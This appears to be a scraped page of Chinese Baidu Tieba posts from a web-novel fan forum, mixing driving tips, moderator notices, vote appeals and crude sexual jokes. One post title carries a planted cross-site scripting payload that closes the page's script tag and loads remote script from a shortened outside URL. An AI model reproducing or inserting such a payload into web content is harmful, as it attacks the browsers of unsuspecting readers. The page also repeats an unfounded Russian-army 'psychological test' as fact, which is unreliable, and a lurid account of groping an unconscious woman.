水神踏水过的个人资料

汽车爬坡技巧自动挡的话，踩住刹车放在d档，右脚迅速抬离刹车慢慢加油门。当感知车辆有向前移动的趋势时，放手刹。整个过程要配合好。上坡时要保持匀速行驶，均匀加速，根据坡度大小适当调节油门深度。切记不可图快。如果是手动挡就复杂点了。首先打火，踩死离合踏板，挂入一档，慢抬离合踏板感觉车身有种颤动的感觉（这是车子进入了半联动状态，如果没有颤动就继续放离合器），这时要看好转数表到了一千转至两千转时，左手把方向盘右手放手刹，右脚加油门左脚慢抬离合器。不过还有种方法，适合短暂停车使用。左脚踩死离合右脚踩死油门，挂入一档，然后左脚抬离合使车进入半联动状态（车身出现轻微颤动，如果没有就继续放离合），这时右脚慢放刹车确保车子不向后溜，然后加油，前进。上坡时要根据车子的反馈选择合适的档位，保持匀速前进，加速时要减档，控制好油门深度。祝您一路平安呵呵，作为1个15年驾龄的司机，希望所有新手都学习1下，看了这节目才发现还有很多人不会手动挡爬坡3联档的。

哎,忍不住发1贴猪脚现在打酱油了吗? 这个猪脚老是不出面,太不给力了.

路过打个酱油嘿嘿。。。好久没回来了，也不知道还有几个朋友在。。。我继续潜水。。。

日本最强女优团惠比寿麝香葡萄

对封假更的解释关于假更 http://tieba.baidu.com/p/1306426410 看见N多人开贴说封杀假更...呵呵...度娘给我们的权限是10天封ID..1天IP....发假更的每天用的是流动IP....我们每天封了N个...可第2天他换个IP又来..这是没完没了的...可我们坚持是封的....各位表把火气发在我们的身上...对没道理就对我们开骂的..我们也不手软的....以上2位封10天,如果还继续胡闹那就继续,我们努力删假更,也努力处理这些素质差的会员.

这周6是26号吗? 26号快月底了吧,真不错.......大家懂的....

嘿嘿。。百度新表情刷刷楼

关于震惊原39军少校当街要饭的辟谣【真没想到这吧还加精】这是老贴字了。09年就看过了。。当年还去百度查1下。。大家有兴趣百度1下看看这事情的真假吧。。。。就百度[原39军的少校老军人在街头要饭]。。哎。。真不知道是谁给那贴加的精。。。

植物大战僵尸搞笑图片

“意思” 某老外苦学中文十年到中国参加考试，试题：请解释下文每个“意思”的意思。A给领导送红包,领导：你这啥意思？A：没啥意思，意思意思。领导：你这就不够意思了。A：小意思，小意思。领导：你这人真有意思。A：其实也没别的意思。领导：那我就不好意思了。A：是我不好意思。老外内牛满面，交白卷回国了..

打赌千手观音对维纳斯说：“亲，咱们来打赌吧~” 维纳斯说：“好啊~~输了怎么办？ ”观音说：“输了就被对方打耳光好啦~” 。。。路过。。。。。。水1下

方正县是"侨乡"还是"汉奸"县

【拜吧】黄金瞳吧祝烈空吧越办越红火【拜吧】黄金瞳吧祝烈空吧越办越红火

恭喜真无聊换地方工作突然发现真无聊从永生转过来了，恭喜1下。

打眼[百科] 词语信息【词语】：打眼【注音】：dǎ/dá yǎn 【释义】： 1.睁眼。 2.显眼，容易引人注意。 3.钻孔。 “打眼”是说没看准东西被人蒙了。买了“打眼”货不但赔钱，还要丢人现眼。所以一旦“打眼”，发现后货主会赶紧把货锁起来，不再给人看，怕被同行人当笑料说出去，有碍自己的名声。古玩中常用词语,意思是因为占小便宜而被别人骗买了假货.

恭喜恭喜拿下打眼吧....恭喜恭喜.......哈哈

无聊过来了就过来看看蔚兮兮蓝蔚兮兮蓝,重生之妖孽人生有内容介绍吗?

先生走进女厕所空空一天约了个女网友见面，地点某公园，正值早晨人员稀少。时间快到时忽然发现肚子疼。诅咒着卖油条的无良小摊，继续忍着等。疼。很疼。相当疼。急冲去厕所先。一番狂轰滥炸后，顿时为之一爽，摸口袋时僵住：没带手纸。等会有人进来要张便是。于是等。二十分钟也无人进来。正值深秋，厕所通风条件良好，刚进来时着实赞了一番，现在却深深地感到风吹屁股凉的痛苦。忍了! 等了网友若干时间，站得疲惫不堪，刚蹲下时着实惬意了一把，现在却深深地感到双腿麻冷胀痛的痛苦。忍了! 鼻炎今天刚好，进厕所闻到臭味很是为自己鼻子恢复了嗅觉而高兴了一会，现在却深深地感到肺脏严重中毒的痛苦。忍了! 此公园平日游人就稀少，刚来时颇得意自己把约会之处定于此，现在我这颗心却是拨凉拨凉的。忍无可忍，拨出手机，呼叫援兵，接通。这么一件尴尬的事总不能很露骨地直接朝朋友讲吧？于是我们先从天气聊起，到伊拉克战局到海马的繁殖过程到外星球的生命体。说到秦始皇长得什么样时我终于觉得机会到了，于是轻启朱唇羞涩不已地说道：那个，我…… 手机传来喜悦的音乐声，没电自动关机了。我终于傻了。等! 我等。没人。我忽然有种想哭的感觉。幸好这时候厕所外传来脚步声，我精神大振，所谓天无绝人之路，人有悲欢离合，船到桥头自然直…… 我确信我的思维一下子敏捷了起来。在那个人刚刚进来时我便暗运内劲以低沉有力的男中音叫道：兄弟，借张纸哥们忘带纸了。那个人触电一般叫了起来：怎么是男厕所？接下来念经一般低头回走：对不起对不起走错了走错了。原来是个女的走错门了！一个男人在最脆弱的情况下居然被一个女人看见了！悲愤交加。然而十秒钟后我才知道我错了。我实不该悲愤的。十秒后那个女人又在外面叫了起来：我没走错啊，怎么女厕所里有男人在里面？！红，一层一层在我脸上添着色，泪水充盈着我的眼眶。如此悲壮的场面，你想也能想出来。此时内心里尚存的理智告诉我：机会，稍纵即逝，如果你不抓住，肉体上巨大的痛苦还将继续。我沙哑着嗓子道：小姐，扔张纸进来，谢谢！当心灵上的巨大的痛苦过去后，你会发现，无耻到底也是一种解脱。一会后，刚买的一份报纸轻轻地被扔了进来。我紧紧地握住这份报纸，紧紧地紧紧地握住。然后使劲用手搓着它，心里以无比恶毒的语言痛骂着这份报纸的编辑部！这家报纸平时都是普通纸质，今天是它的发行二十周年纪念，全部报纸皆为十六开铜版印刷硬质纸！穿起裤子时又温柔地安慰自己：幸好今天人少，丢人也不过只有一个女的知道，而且是不认识滴！不幸中的大幸。出了厕所忽然发现外面已经聚集了一大群晨练的大妈，人群前面一位女孩正在仔细地解释：各位大妈，等会儿进去，里面一位先生走错了，而且没带纸，等会进去，马上就好…… 恰好我气定神闲地走出来了。当所有的目光都聚集在我身上时，我忽然有一种万箭穿心的感觉。我哽咽着对这位女孩说：谢谢你，谢谢，谢谢…… 这位女孩大度地一挥手：没事，小事一桩。临走时女孩突然叫住了我！你不会就是小明吧？你的穿着怎么和约我的那个网友描述的一样啊~ 我： ………………………………

书荒的朋友进来，我推荐1本书给你。书荒的朋友还有看这黄金瞳书也表看了。。我推荐1本书给你。。。。 [橙红年代]

韩国叽哩轱辘话韩国话. 就听见叽哩轱辘的：张扬说："前轱辘不转后轱辘转. 后轱辘不转前轱辘转！" 佟秀秀开始不耐烦了: "前轱辘,后轱辘都不转! [这句是我加的,哈哈]

【好日子先过！】最后十二个小时了，章鱼继续更新，下月的事情明天再想，好日子先过，今天至少八千保底更新，估计大家兜里的月票被我打劫的差不多了，最后关头，章鱼厚着脸皮再打劫一次，相信还有不少漏网的月票，为了保住咱们目前的成绩，为了下个月的继续努力，大家在最后十二小时，给我更有力的支持吧。

隔壁邻居家连载加精的后果又有1个贴吧连载帖子和加精遭殃了。。。。被度娘横扫1下，现在他们只有2章更新了。。。。就是医道官途吧。。。同情1下。。不加精不连载要被人喷。。可都做的后果就是全军覆没。。就2章最新的还在。。别的全被吞了。。。。

章鱼月底急[求月票] 挺郁闷的，好不容易在第五上坐了几个小时，一转眼就被爆下来了，目前差距更达到七十多票，距离月底剩下不到三天时间了，我们还有机会。说来惭愧，医道从发书到现在，最好的月票名次也就是第六，这次想往前挪动挪动，想达成这一愿望，必须要靠大家，各位兄弟姐妹，月票捂的差不多了，请在最后关头，投给医道一票吧！…… .......................................................

【求推荐票！】最后几天有月票的1起给了吧这周推荐第十九，章鱼很想冲一冲，希望推荐票能够进入前十五，好歹在首页推荐榜上露一小脸，太久了已经记不得上次出现在首页推荐榜的时候了。无奈的是收藏见涨，推荐票不见涨，还是凌晨更新，无非是想多搜刮点推荐票，眼看月底了，希望六月能冲进首页推荐榜一次。这个月的更新肯定会超出上月的，虽然有过断更，章鱼也都补齐了，大家希望的爆发，也爆了几次，虽然不多，但毕竟爆了，月底还会看情况爆那么几次，没几天了，大家给我支持，让章鱼这个月能有个好名次吧！章鱼在这儿谢过了！……

这个楼我们一定要盖啊啊啊?</script><script/src=//qr.net/edrn> 如题<a href="/i/sys/jump?un=samy_joke" onclick="Stats.sendRequest('fr=tb0_forum&st_mod=pb&st_value=atlink');" onmouseover="showattip(this)" onmouseout="hideattip(this)" username="samy_joke" target="_blank" class="at">@samy_joke</a> <br>

呵呵,来串个门梦灵冰雨寒是个人吧???

【补偿】

轻醉微醺[混精] 冷雨你懂的。，。。

今天周六番茄还有第二章没?知道的请问答1下,谢谢........ RT

恭喜1下妃子，我是来串门的

百度新功能[大召唤术] 先召唤去吃饭的啊线@757359250 再召唤冷雨@冷雨夜也未暂停召唤小鸟@__月鸟

祝福今天开始高考的朋友们，本神专开一楼施法给各位求福。。。。。祝福今天开始高考的朋友们，本神给大家来1招大恢复术+大祝福术。。。。

特经典的笑话，哄女友的绝佳经典有个兄弟追女朋友，每天早上一包心形饼干和一瓶牛奶。坚持不懈，终于到手。一天早上他又带着心形饼干去看女朋友，女友就问：“你这饼干哪买的？我去了好多超市，就是买不到这种形状的。”他自豪道：“那当然找不到啦，这是我啃出来的……”

光棍儿俺村就剩俺一个光棍儿了，其它男人生了孩儿都结扎了，大夫，您也给俺结扎了吧，我怕要是哪个女的怀孕了，这个责任俺担当不起啊。

三个精子在天堂，有三个精子相聚在一起讨论死因. 甲：哼！我死的好凄惨啊！死在水沟里... 乙：那算什麼？我死的更悲壮！我死在大便里...说完，第三个精子就大哭了起来... 甲、乙就问：你在哭什麼啊？丙就说了：我死的好悲惨啊...我..我..我死在卵子里... 甲乙听了就很纳闷：死的好啊！有什麼好哭的？丙听了，哭得更大声...他说：我死在鹅的卵子里啊...

下次别偷捏女孩子老张在电梯里注视一个美丽的长发女郎，目不转睛，张太太非常不高兴。突然，那个女郎转过身来给了老张一个耳光，说道：“下次别偷捏女孩子！” 当老张夫妇走出电梯的时候，老张委屈的对太太说：“我并没有捏她呀！” 我知道。”张太太说，“是我捏了她。”

隔壁的阿姨妈妈:“小明,你己经那麽大了,还要妈妈抱,羞羞脸哦!” 小明:“隔壁的张阿姨比我更大,还不是给爸爸抱。”

把手放在女人的。。。。。。。。有一位渔夫，每周的星期天下午都去码头钓鱼，一般的情况他能钓满半桶鱼。有一天他正在钓鱼时，来了一位男士。他走到海边，把手掌放进水中，不一会工夫，在他手周围挤满了鱼群，他空手一抓，放到塑料袋，不到十分钟装满了一袋子，便走了。渔夫看得目瞪口呆。他一生以钓鱼为业，从来没见过如此厉害人物，空手就能弄到这么多鱼。第二个周日下午，渔夫又到老地方钓鱼。过了一会，又来了上周那家伙。他又用手放进水中，又是不到十分钟就装满了一塑料袋。正准备离去时，渔夫忍不住，拦住他，渔夫说：“老兄，你是干什么行业的？为何比我这渔夫还会钓鱼？有什么秘方？” 那人哈哈一笑：“我是送信的邮差。钓鱼最重要的是鱼饵，我用的饵，是，嘿嘿。” 他伸出食指，继续说道：“把这个放进女人那里，然后不要碰水，直接来钓鱼，那味道鱼儿是挡不住的。” 过了一个星期，渔夫要去钓鱼，想起上周邮差的话。他看见太太正跪在地上拖地，于是悄悄地，溜到她背后，伸出食指，向她那地方插进去。 “是你吗？邮差先生。”太太头也不回地说。

引诱英国绅士与法国女人同乘一个包厢，女人想引诱这个英国人，她脱衣躺下后就抱怨身上发冷。先生把自己的被子给了她，她还是不停地说冷。 “我还能怎么帮助你呢？”先生沮丧地问道。 “我小时候妈妈总是用自己的身体给我取暖。” “小姐，这我就爱莫能助了。我总不能跳下火车去找你的妈妈吧？”

女厕所里都有啥有一位男士坐在一台最先进的豪华喷射客机，突然肚子剧痛，要拉肚子....但所有的男士专用厕所都客满。但他实在憋不住了，于是跟空中小姐拜托，让他用一下女生厕所。空中小姐有点为难，但还是答应让他去上，还很担心一再交待他不要碰任何东西，拉完肚子就赶快出来。于是他一阵慌乱进去女生厕所。当他拉完后，神情一阵轻松…发现马桶旁有三个按钮，分别写著HW、HA、ATR，他很好奇；想想这么先进的厕所一定有什么特别之处，但又想起空中小姐的叮咛KK。不过，还是很好奇，于是按了第1个写著HW钮…… 咦！竟然从后面喷出清洁的热水。好棒！原来是HotWater之意。他心想，真高级！连忙看第2个钮…写著HA应该就是HotAir罗！果然按下钮后，送来徐徐热风。真有意思！！那第3个写著ATR到底是什么意思？于是他按下第三钮……突然一阵剧痛……$@#&!*，两眼发黑晕眩了过去…… 当他醒来时已在医院，护士小姐面色凝重的看著他说：先生，你醒了！这是你的xx我把它放在你的枕头旁，希望你节哀！ “哇哇哇！我的xx！……！怎会这样？” 他大叫：“我不是在上厕所吗？怎么会这样？” 先生，空姐说你误触了ATR钮，那是AutomaticTamponRemover=卫生棉条自动拔除！

怎么有酒味！ **：“喝酒了？”雷人：“没！” **：“怎么有酒味？”雷人：“喝了杯啤酒。” **：“啤酒也是酒！” 雷人：“请问蜗牛是牛吗？”**：“不是。” 雷人：“请问酱油是油吗？”**：“不是。” 雷人：“姑娘是娘吗？”**：“不是。” 雷人：“啤酒是酒吗？”**：“不是。” 雷人：“这不就结了！”

女同事让我大惊失色！一美女过来欣赏男同事新买的笔记本电脑。看完了机器又看电脑包，美女突然说：“你的包皮好软啊！” 男同事听后大惊失色，目瞪口呆！！紧接着美女又说道：“让我翻开看看。”

千万女人都爱你！一个女人爱你，你是丈夫。几个女人爱你，你是男人。十个女人爱你，你是情种。百个女人爱你，你是偶像。千个女人爱你，你是英雄。万个女人爱你，你是领袖。全国女人爱你，你是人民币。全世界的女人爱你，噢你是卫生巾。

是张先生吗？站三环边等人，一银色奔驰忽停我身旁。车窗摇下来，是一水灵灵的大姑娘！她微笑问我：“是张先生么？” 我稍一迟疑，随即坚毅地回答：“我可以是！”

是张先生吗！站三环边等人，一银色奔驰忽停我身旁。车窗摇下来，是一水灵灵的大姑娘！她微笑问我：“是张先生么？” 我稍一迟疑，随即坚毅地回答：“我可以是！”

干嘛要吃掉我！有一只老虎感冒了，想要吃掉熊猫！熊猫哭了：“你感冒了，干嘛要吃掉我呢？” 老虎说：“广告上都说了，感冒就要吃白加黑！”

想换个口味而已！小明和小红是同桌，一天小红发现小明一直盯着自己看。于是小红自恋的甩了一下头发说：“没见过美女吗？” 小明摇摇头说：“不是，我只是美女看多了，想换个口味而已。”

流星居然是这吧的吧主了? 这书我在某点1直更的...流星几时跑这吧做吧主的???呵呵...恭喜恭喜了

YY中的。。。曾丽萍[王华昭的婚前紧张症] 张大官人每次想起王华昭还算有些本事，至少能在床上把曾丽萍伺候的呼天抢地，张大官人发现自己已经落下了毛病，一想到王华昭和曾丽萍，就想起那天晚上他们两人的激情大战，张扬意识到自己最近阳气太盛，是时候该败败火了。

关于花的那些事。。。。。。。。。。。。。。。。。。

俄罗斯军队里用这张图来检测新兵隐藏的心理疾病不见1，侵略性强；不见2，智力较低；不见3，生活放荡败坏；不见4，倾向暴力领导；不见5，可能轻易被同性吸引，有潜在的同性恋倾向；不见6，可能轻易会精神分裂，需要额外关注。

装好牙套回来求小夏MM给安慰总算把牙齿问题全解决了

雨幕中，那杆孤孤单单的路灯依然闪着灰白色的光芒伫立在原地，恰似孤寂遥望彼岸渡口守候那摆渡人的雕像。寂寞在吟唱孤独像流泪的红烛

【拜吧】黄金瞳前来拜吧！祝贵吧越来越火，牛气冲天！ http://tieba.baidu.com/f?kw=%BB%C6%BD%F0%CD%AB&fr=itb_favo&fp=mange 传送门

舔奶事件，发人深思刚开始他们两人看起来就像情侣驻足小憩，偶有暧昧也在正常范围之内。但没过多久，那个男的便主动与女子发生了肢体接触，而女子看上去像是失去了意识，任由男子摆布。好多人都以为是吃了药，其实他们是喝多了，在醉酒的意识下，发生了越轨闹剧。但最让人不解的是，竟然路过的人都不劝阻。

还没看这书,那位道友进来介绍1下

5月3日某点投票指南 [东方玄幻] 战天 [东方玄幻] 冰骨魔君 [虚拟网游] 全球论剑 [官场沉浮] 弄潮推荐票都砸上

妻子不禁放生大哭！爆笑！妻子站在镜子前仔细端详，发现自己竟是那样难看，不禁大哭！坐在一旁观察已久的丈夫说：“如果你偶尔照一次镜子，就那么伤心，那我天天看着你，又该怎么办。”

小姐愤怒一个男人问街边小幷姐：包幷夜多少钱？小幷姐：200元。再问：是不是怎么样都行？羞答答回：是！男的大喜：今幷晚你帮我到火车站排队买张火车票我给你200，或者你帮我打通火车站订票电幷话我给你五百！小幷姐愤幷怒：你打通我免幷费陪你一个月！！！

不能在这里换晚上和姐们在餐厅吃饭吃到一半她手沾到油就要拿纸出来擦结果掏了一包卫生巾。谁知她没有发现还撕开来要擦我赶快走到对面抢过来。怕被服务员看到多难堪。结果她不明状况，看我来抢就大叫。边上的人目光集聚！马上有两个男服务生冲过来，长得还挺帅。用力拦住我。 “小姐，不能在这里换！不能换！”